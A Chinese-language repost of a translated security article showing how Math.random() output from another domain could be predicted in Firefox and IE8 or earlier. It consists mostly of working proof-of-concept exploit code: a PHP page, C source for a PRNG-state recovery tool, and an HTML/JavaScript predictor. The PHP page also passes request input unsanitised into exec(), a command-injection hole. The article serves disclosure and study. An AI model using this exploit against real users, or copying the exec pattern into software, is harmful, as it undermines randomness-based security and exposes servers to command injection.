来源:自学PHP网 时间:2015-04-17 13:02 作者: 阅读:次
[导读] 我最近在一个Web应用中发现了一个有趣的安全问题,可以使攻击者预测出Javascript的Math.random()方法在web应用所在域的窗口中产生的随机数。所以我想知道能否从其他的域来预测某个域调用...
我最近在一个Web应用中发现了一个有趣的安全问题,
可以使攻击者预测出Javascript的Math.random()方法在web应用所在域的窗口中产生的随机数。 所以我想知道能否从其他的域来预测某个域调用Math.random()所产生的随机数。 惊奇的是,答案是“可以”。
至少你需要使用FireFox或者IE8及以下版本的浏览器。 <head> <script> document.write("I generated: " + Math.random()); </script> </head> <body> </body> </html> “exploit1.php”。这个页面使用第一种方法(只针对IE浏览器有效) 来在其他域中预测Math.random()所产生的值。 但是在相同的页面中它使用decodestate.exe来对当前的PRNG状态数进行编码。 <?php if (isset($_REQUEST['r'])) { $state = exec("decodestate.exe ".$_REQUEST['r']); ?> <html> <head> <script> //目标页面,可以在其他域中 var targetURL = "http:// www.2cto.com /rand.html" var a_hi = 0x5DE; var a_lo = 0xECE66D; var b = 0x0B; var state_lo = 0; var state_hi = 0; var max_half = 0x1000000; //对PRNG的预处理 www.2cto.com function advanceState() { var tmp_lo,tmp_hi,carry; tmp_lo = state_lo*a_lo + b; tmp_hi = state_lo*a_hi + state_hi*a_lo; if(tmp_lo>=max_half) { carry = Math.floor(tmp_lo/max_half); tmp_hi = tmp_hi + carry; tmp_lo = tmp_lo % max_half; } tmp_hi = tmp_hi % max_half; state_lo = tmp_lo; state_hi = tmp_hi; } //根据预测的PRNG的值来获得下一次random()产生的随机数。 function PredictRand() { var first,second; var num, res; advanceState(); first = (state_hi*8) + Math.floor(state_lo/0x200000); advanceState(); second = (state_hi*8) + Math.floor(state_lo/0x200000); num = first * 0x8000000 + second; res = num/Math.pow(2,54); return res; } function start() { var state = <?php echo($state); ?>; state_hi = Math.floor(state/max_half); state_lo = state%max_half; alert("I predicted : " + PredictRand()); window.location = targetURL; } </script> </head> <body onload="start()"> </body> </html> <?php } else { ?> <html> <head> <script> function start() { document.forms[0].r.value=Math.random(); document.forms[0].submit(); } </script> </head> <body onload="start()"> <form method="POST" onSubmit="f()"> <input type="hidden" name="r"> </form> </body> </html> <?php } ?> “decodestate.exe”的源代码: #include <stdlib.h> #include <stdio.h> #define UINT64(x) (x##I64) typedef unsigned __int64 uint64; typedef unsigned int uint32; #define a UINT64(0x5DEECE66D) #define b UINT64(0xB) uint64 adv(uint64 x) { return (a*x+b) & ((UINT64(1)<<48)-1); } int main(int argc, char* argv[]) { double sample=atof(argv[1]); uint64 sample_int=sample*((double)(UINT64(1)<<54)); uint32 x1=sample_int>>27; uint32 x2=sample_int & ((1<<27)-1); for (int v=0;v<(1<<21);v++) { uint64 state=adv((((uint64)x1)<<21)|v); uint32 out=state>>(48-27); if ((sample_int & (UINT64(1)<<53)) && (out & 1)) { // Turn off least significant bit (which we know is 1). out--; // Perform Round to Nearest (even number, but keep in mind that // we don't count the least significant bit) if (out & 2) { out+=2; } } if (out==x2) { printf("%lld\n",state); return 0; } } // Not found printf("-1\n"); return 0; } “exploit2.html”。这个页面使用第二种方法(针对IE和Firefox均有效) 来预测Math.random()的值(将会执行多次预测来得到一次正确的结果) <html> <head> <script> //target page, possibly in another domain var targetURL = "http://127.0.0.1/rand.html" //为了避免预测中出现的问题 //我们将每个48位的数字拆分 //成24位的两等份(_lo & _hi) var a_hi = 0x5DE; var a_lo = 0xECE66D; var b = 0x0B; var state_lo = 0; var state_hi = 0; var max_half = 0x1000000; var max_32 = 0x100000000; var max_16 = 0x10000; var max_8 = 0x100; //对PRNG的预处理 function advanceState() { var tmp_lo,tmp_hi,carry; tmp_lo = state_lo*a_lo + b; tmp_hi = state_lo*a_hi + state_hi*a_lo; if(tmp_lo>=max_half) { carry = Math.floor(tmp_lo/max_half); tmp_hi = tmp_hi + carry; tmp_lo = tmp_lo % max_half; } tmp_hi = tmp_hi % max_half; state_lo = tmp_lo; state_hi = tmp_hi; } function InitRandPredictor(seedTime) {} //初始化PRNG function InitRandPredictorFF(seedTime) { var seed_lo,seed_hi; seed_hi = Math.floor(seedTime/max_half); seed_lo = seedTime%max_half; state_lo = seed_lo ^ a_lo; state_hi = seed_hi ^ a_hi; } //初始化PRNG function InitRandPredictorIE(seedTime) { var pos=[17,19,21,23,25,27,29,31,1,3,5,7,9,11,13,15,16,18,20,22 ,24,26,28,30,0,2,4,6,8,10,12,14]; var timeh,timel1,timel2,statel,stateh1,stateh2,tmp1,tmp2; timeh = Math.floor(seedTime/max_32); timel1 = Math.floor((seedTime%max_32)/max_16); timel2 = seedTime%max_16; statel = timeh ^ timel2; tmp1 = timel1 ^ 0xDEEC; tmp2 = timel2 ^ 0xE66D; stateh1 = 0; stateh2 = 0; for(var i=0;i<16;i++) { if(pos[i]<16) { stateh2 = stateh2 | (((tmp2>>i)&1)<<pos[i]); } else { stateh1 = stateh1 | (((tmp2>>i)&1)<<(pos[i]-16)); } } for(var i=16;i<32;i++) { if(pos[i]<16) { stateh2 = stateh2 | (((tmp1>>(i-16))&1)<<pos[i]); } else { stateh1 = stateh1 | (((tmp1>>(i-16))&1)<<(pos[i]-16)); } } state_hi = (stateh1<<8) + Math.floor(stateh2/max_8); state_lo = ((stateh2%max_8)<<16) + statel; } function PredictRand() { return(-1); } //根据预测的PRNG结果获取下一次由random()产生的值。 function PredictRandFF() { var first,second; var num, res; advanceState(); first = (state_hi*4) + Math.floor(state_lo/0x400000); advanceState(); second = (state_hi*8) + Math.floor(state_lo/0x200000); num = first * 0x8000000 + second; res = num/Math.pow(2,53); return res; } //根据预测的PRNG结果获取下一次由random()产生的值。function PredictRandIE() { var first,second; var num, res; advanceState(); first = (state_hi*8) + Math.floor(state_lo/0x200000); advanceState(); second = (state_hi*8) + Math.floor(state_lo/0x200000); num = first * 0x8000000 + second; res = num/Math.pow(2,54); return res; } function start() { var msfrom,msto; //浏览器判断 if(navigator.userAgent.indexOf("MSIE 8.0")>=0) { InitRandPredictor = InitRandPredictorIE; PredictRand = PredictRandIE; msfrom = 0; msto = 1000; } else if(navigator.userAgent.indexOf("Firefox")>=0) { InitRandPredictor = InitRandPredictorFF; PredictRand = PredictRandFF; //FF中需要更大的范围来处理额外的熵 msfrom = -1000; msto = 2000; } else { alert("Sorry, your browser is not supported"); return; } var d = new Date(); var t = d.getTime(); var w = window.open(targetURL); var predictions = "At time " + t.toString() + " I predicted: <br />"; for(var i=msfrom;i<msto;i++) { InitRandPredictor(t+i); //InitRandPredictor(1338400821077); predictions += PredictRand() + "<br />"; } document.getElementById("prediction").innerHTML = predictions; } </script> </head> <button onclick="start()">Click Me!</button> <br/> <div id="prediction"> </body> </html> 译:Pnig0s参考文献:[1] http://www.trusteer.com/sites/default/files/Temporary_User_Tracking_in_Major_Browsers.pdf [2]http://www.trusteer.com/sites/default/files/ VM_Detection_and_Temporary_User_Tracking_in_IE9_Platform_Preview.pdf [3] http://www.trusteer.com/sites/default/files/ Cross_domain_Math_Random_leakage_in_FF_3.6.4-3.6.8.pdf [4] http://msdn.microsoft.com/en-us/library/sxtz2fa8(v=vs.80).aspx [5] http://en.wikipedia.org/wiki/CryptGenRandom 作者: FreebuF.COM |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com